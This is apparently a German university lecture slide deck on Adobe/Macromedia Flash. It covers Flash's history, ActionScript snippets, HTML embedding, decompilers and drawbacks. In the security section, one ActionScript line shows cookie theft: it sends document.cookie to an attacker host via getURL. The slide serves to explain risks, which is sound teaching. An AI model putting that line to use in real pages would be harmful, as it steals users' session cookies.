Flash - HTW Dresden

Entwicklung webbasierter Anwendungen
Macromedia/Adobe –
Flash-Animationen
Jessica Parth
email: [email protected]
HOCHSCHULE FÜR TECHNIK UND WIRTSCHAFT DRESDEN (FH)
Fachbereich Informatik/Mathematik
Was ist Flash
●
Bekannteste Seite YouTube
●
Vergleichbar mit einem Film
●
SWF-Container beinhaltet alle Objekte
●
●
●
●
Objekte sind Vektoren, Grafiken, Audio,
Video
Frei Skalierbar – Optimal bei jeder Auflösung
Grundlage für Navigationselemente, animierte
Elemente oder komplette Flash-Webseiten
Einfache Präsentationsmöglichkeit für
Werbefilme auf Webseiten
Im Detail
●
●
●
●
●
●
Wird im Browser durch ein Plugin eingebettet
Filmfläche mit Zeitleiste auf der sich Objekte
beliebig plazieren, drehen und animieren lassen
Steuerung über Keyframes – Animation erfolgt
über Interpolation automatisch
Integrierte Skriptsprache – ActionScript mit
Möglichkeit JavaScript aufzurufen
Nachladen und Abspielen beliebig weiterer
Flashfilme
Sehr platzsparendes Format
Geschichte
●
1992 Zusammenschluß von MacroMind und Authorware zu Macromedia
●
1997 Flash Version 1 & 2
●
1998 Version 3
●
●
–
Aktionenkonzept
–
Transparenzen
1999 Version 4
–
Offenlegung der Spezifikation um als Web-Standard etabliert zu werden
–
ActionScript 1.0
–
Interaktionen wie Formulare können erstmalig programmiert werden
–
Integrierter MP3-Codec
–
Quicktime-Unterstützung
–
Weite Verbreitung durch Integration in Internet Explorer 5.0 und Windows98
Second Edition
92% Abdeckung erreicht mit Auslieferung von Windows XP
Geschichte
●
2000 Version 5
–
●
●
ActionScript wurde an ECMAScript-Standard angepasst
2002 Version 6 – Flash MX
–
Funktionsbibliothek erheblich erweitert
–
Anpassung an ECMA-Standard weiter fortgeführt
–
Integrierter Videocodec
–
Disaster bei Macromedia mit „Rich Internet Applications“ (2003)
2003 Version 7 – Flash MX 2004
–
ActionScript 2.0
–
JavaScript kann aufgerufen werden
Geschichte
●
2005 Version 8
–
Adobe kauft Macromedia für 3,4Milliarden Dollar
–
Anpassung an eigene Produkte
●
●
2006 Version 9
–
●
Bitmaps, Weichzeichner, Verzerrung, Schatten, Blending, neuer
Videocodec
XML-Unterstützung durch ActionScript 3.0 mit E4X
Aktuell Beta Version 10
Programme und Tools
●
●
●
Seit Offenlegung des Spezifikationen unzählige
Anwendungen für Script-Entwicklung und
Animation auf dem Markt
FDT3 – Eclipse Plugin http://fdt.powerflasher.de
Produkte von Adobe
–
Browserplugin sog. Player für alle Platformen
(kostenlos)
–
Flex Open Source – SDK kostenlos – Builder 3 nicht
–
Flash CS3 Professional
ActionScript
●
●
●
Skriptsprache with JavaScript
Jedes Objekt oder KeyFrame kann ActionScript
enthalten
Reaktion auf Ereignisse und Manipulation der
Eigenschaften
–
OnClipEvent ( enterFrame ){
var a = 0;
a = this._rotation + 2;
if ( a >= 360 ){
a = 0;
}
this._rotataion = a;
}
ActionScript
●
Nachladen von weiteren Flash-Dateien (Movie
Containern)
–
container ist der Name eines MovieClips
_level0.container._x = 0;
_level0.container._y = 0;
_level0.container._visible = 0;
loadMovie(“http://www.example.com/flash.swf“,_lev
el0.container);
–
Zugriff auf container während des Ladevorgangs
möglich
_root.container.getBytesTotal();
_root.container.getBytesLoaded();
ActionScript
●
●
Reaktionen auf Benutzereingaben
–
on (rollOver){
with (objektname){
gotoAndPlay (1);
}
}
–
on (rollOut){ ... }
–
on (release){ ... }
URL öffnen in Frame
–
getURL(“URL“,“targetframe“);
Einbindung in HTML-Seite
<object classid="CLSID:D27CDB6E-AE6D-11cf-96B8-444553540000" width="600" height="400"
codebase="http://active.macromedia.com/flash2/cabs/swflash.cab#version=4,0,0,
0">
<param name="movie" value="nibbles.swf">
<param name="quality" value="high">
<param name="scale" value="exactfit">
<param name="menu" value="true">
<param name="bgcolor" value="#000040">
<embed src="nibbles.swf" quality="high" scale="exactfit" menu="false"
bgcolor="#000000" width="600" height="400" swLiveConnect="false"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/shockwave/download/download.cgi?
P1_Prod_Version=ShockwaveFlash">
</embed>
</object>
Quelle: http://de.selfhtml.org/html/multimedia/objekte.htm#flash
Beispiele von Flash-Anwendungen
●
Eigene
–
–
http://www.bäckerei-matzker.de
●
Menüsteuerung
●
Überblendungen und Animation
Ratiotechnik Milde
●
●
Nachladen von weiteren Flash-Content
Komplexe Seiten einiger Flash-Spezialisten
–
http://www.maasberg.de
–
http://www.graphixer.de (von maasberg)
–
http://www.flashworker.de
–
http://www.powerflasher.de
Noch mehr Seiten für Hilfe
●
●
●
http://www.flashforum.de/
http://www.itacademy.cc/menu/215/Flash.html
http://www.flashtuts.de/rolloverin.htm
Erstellung einer einfachen FlashAnwendung
●
Bewegungs-Tweening
●
Form-Tweening
●
Schaltflächen
●
Ebenen
●
Keyframes
●
Symbole
Flash-Decompiler
●
.fla-> .swf und kann normal nicht in
Entwicklungsumgebung geändert werden
●
“Film vor Input schützen“ ist nur ein Flag!
●
Programme
–
Action Script Viewer 5
–
Flash Decompiler Trillix 3.0 ++
–
Gordon 1.7.3
–
Imperator Fla 4 ++
–
Sothink SWF Decompiler 3.7
–
SWF Extractor 2.2
Decompiling
●
●
Abhilfe durch
–
Copyright-Hinweise
–
Wasserzeichen
–
Zeichensätze nur die Zeichen einbetten lassen die
verwendet werden
–
Inhalt nachladen
–
Komplexer verschachtelter Code <> Wartbarkeit
Flash-Anwendung zählt als Computerprogramm
somit §69a UrhG beachten! - (siehe Vorlesung Koitz)
Flash ist doch toll aber!?
●
●
●
●
●
●
Inhalt kann nicht von Suchmaschinen erfasst
werden
Kein automatisierte Verarbeitung möglich
Kein Zugang für behinderte Menschen
(Screenreader)
Anfangs Probleme mit Platformunabhängigkeit
Proprietäres binäres Format > Spezifikation ist
verfügbar und OpenSource wird von Adobe
gefördert
Sicherheitaspekte
Sicherheit
●
Cookie-Klau
–
●
●
●
●
●
●
getURL(“javascript:document.location('http://cookieklau.de/klau.cgi?'+document.cookie)“);
Platformübergreifend verfügbar und für Kriminelle
dadurch verlockend
HTTP-Header Daten können in Flash manipuliert werden
Einbettung in Kommentaren gefährlich (Blogs, Foren,
etc)
Keine Analyse von Firewall, Filtern oder
Antivirensoftware
Sicherheitslücken direkt in Flash wie Buffer Overflows
Cross-Site-Scripting durch fehlerhafte
Authoringsoftware
Fazit
●
●
●
●
Sinnvolle Nutzung von Flash ist abhängig vom
Inhalt und dem Zielpublikum
Übertriebene und überladene Animationen
vermeiden
Auf reinen Informationsseiten ist Flash fehl am
Platze
Gleichgewicht zwischen Spaß, Nutzen und
Ladezeit